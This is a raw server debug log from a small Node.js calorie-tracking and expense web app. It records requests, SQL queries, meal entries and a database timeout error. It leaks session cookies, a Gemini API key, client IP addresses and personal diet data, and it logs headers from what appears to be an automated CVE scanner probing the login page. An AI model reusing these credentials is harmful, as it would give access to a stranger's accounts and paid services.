    'sec-ch-ua': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"32a9-OWn/RCRMlmMOf0oAXFj9rbJra60"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T03:43:59.997Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"32a9-OWn/RCRMlmMOf0oAXFj9rbJra60"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A6smsg17WVTwvz3nfy1Oyfw%3D%3D.s7%2FgmQWrkKH7YmzUaDGZyD41G9LM7IDZVtVtiQKdt0m0HK9GMP1Ups5goSIYFe%2BJM9atl6W%2B0lYlKxyTXe%2B3E8NDAIaa4RXgDsoQFOrzl8F6wCgTbCh32cDDzMcO2p8XTj8z1T%2F17n37jXqMPvP7ha41FVNcf9wQ7178p5E6PY4%3D.Gr9mpYubELoHAXkeZ7bcRqlgBSgDUGQvGiOwn6yqjEI; your_r_git.sid=s%3ASgjPUq8Mdpbvedb2ZlGJAnRWqlvbgMKn.iY%2BTzE6DVmIj8sKvo1ydJwWhRIBDE9t3rpop55X9dhc',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T04:59:24.324Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T04:59:24.324Z server-connect:app Executing action step identify
2025-12-16T04:59:24.324Z server-connect:app options: { provider: 'security' }
2025-12-16T04:59:24.324Z server-connect:output identity: 1
2025-12-16T04:59:24.324Z server-connect:app Executing action step restrict
2025-12-16T04:59:24.324Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T04:59:24.325Z server-connect:output restrict: undefined
2025-12-16T04:59:24.325Z server-connect:app Executing action step single
2025-12-16T04:59:24.325Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T04:59:24.327Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T04:59:24.327Z server-connect:app Executing action step select
2025-12-16T04:59:24.327Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T04:59:24.329Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  }
]
2025-12-16T04:59:24.329Z server-connect:app Executing action step setvalue
2025-12-16T04:59:24.329Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T04:59:24.329Z server-connect:output var_total: 350
2025-12-16T04:59:24.329Z server-connect:app Executing action step setvalue
2025-12-16T04:59:24.329Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T04:59:24.329Z server-connect:output var_consumed: 15
2025-12-16T04:59:24.329Z server-connect:app Executing action step setvalue
2025-12-16T04:59:24.329Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T04:59:24.329Z server-connect:output var_deficit: 2050
2025-12-16T04:59:24.329Z server-connect:app Executing action step custom
2025-12-16T04:59:24.330Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T04:59:24.331Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '350',
    surplus_or_deficit: '2050',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-16 05:08:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-16 05:08:08' as DATETIME)"
}
2025-12-16T05:14:01.627Z server-connect:router Serving templateView /
2025-12-16T05:14:01.628Z server-connect:app Executing action step identify
2025-12-16T05:14:01.628Z server-connect:app options: { provider: 'security' }
2025-12-16T05:14:01.628Z server-connect:auth No login cookie found
2025-12-16T05:14:01.628Z server-connect:output identity: false
2025-12-16T05:14:01.628Z server-connect:app Executing action step restrict
2025-12-16T05:14:01.628Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T05:14:01.629Z server-connect:output restrict: undefined
2025-12-16T05:14:01.848Z server-connect:router Serving templateView /login
2025-12-16T05:14:01.848Z server-connect:app Executing action step identify
2025-12-16T05:14:01.848Z server-connect:app options: { provider: 'security' }
2025-12-16T05:14:01.848Z server-connect:auth No login cookie found
2025-12-16T05:14:01.848Z server-connect:output identity: false
2025-12-16T05:14:01.848Z server-connect:router Render template layouts/authentication
2025-12-16T05:14:01.848Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    xxxxxxxxxx: 'close',
    accept: 'text/plain, */*;q=0.1',
    'accept-encoding': 'gzip',
    'next-action': 'x',
    'content-type': 'multipart/form-data; boundary=------------------------bissa_cve_boundary',
    'user-agent': 'Python/3.14 aiohttp/3.13.2',
    'x-forwarded-for': '139.59.133.87',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T05:14:01.847Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: 'multipart/form-data; boundary=------------------------bissa_cve_boundary',
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '139.59.133.87',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_ACCEPT: 'text/plain, */*;q=0.1',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_NEXT_ACTION: 'x',
    HTTP_CONTENT_TYPE: 'multipart/form-data; boundary=------------------------bissa_cve_boundary',
    HTTP_USER_AGENT: 'Python/3.14 aiohttp/3.13.2',
    'HTTP_X_FORWARDED-FOR': '139.59.133.87',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-16T05:16:54.723Z server-connect:router Serving templateView /
2025-12-16T05:16:54.723Z server-connect:app Executing action step identify
2025-12-16T05:16:54.723Z server-connect:app options: { provider: 'security' }
2025-12-16T05:16:54.723Z server-connect:output identity: 1
2025-12-16T05:16:54.723Z server-connect:app Executing action step restrict
2025-12-16T05:16:54.723Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T05:16:54.725Z server-connect:output restrict: undefined
2025-12-16T05:16:54.725Z server-connect:app Executing action step restrict
2025-12-16T05:16:54.725Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T05:16:54.725Z server-connect:output restrict: undefined
2025-12-16T05:16:54.725Z server-connect:router Render template layouts/main
2025-12-16T05:16:54.725Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-16T05:16:55.364Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T05:16:55.365Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T05:16:55.365Z server-connect:app Executing action step identify
2025-12-16T05:16:55.365Z server-connect:app options: { provider: 'security' }
2025-12-16T05:16:55.365Z server-connect:output identity: 1
2025-12-16T05:16:55.365Z server-connect:app Executing action step restrict
2025-12-16T05:16:55.365Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:16:55.365Z server-connect:app Executing action step identify
2025-12-16T05:16:55.365Z server-connect:app options: { provider: 'security' }
2025-12-16T05:16:55.365Z server-connect:output identity: 1
2025-12-16T05:16:55.365Z server-connect:app Executing action step restrict
2025-12-16T05:16:55.365Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T05:16:55.366Z server-connect:output restrict: undefined
2025-12-16T05:16:55.366Z server-connect:app Executing action step select
2025-12-16T05:16:55.366Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T05:16:55.366Z server-connect:output restrict: undefined
2025-12-16T05:16:55.366Z server-connect:app Executing action step single
2025-12-16T05:16:55.366Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T05:16:55.370Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
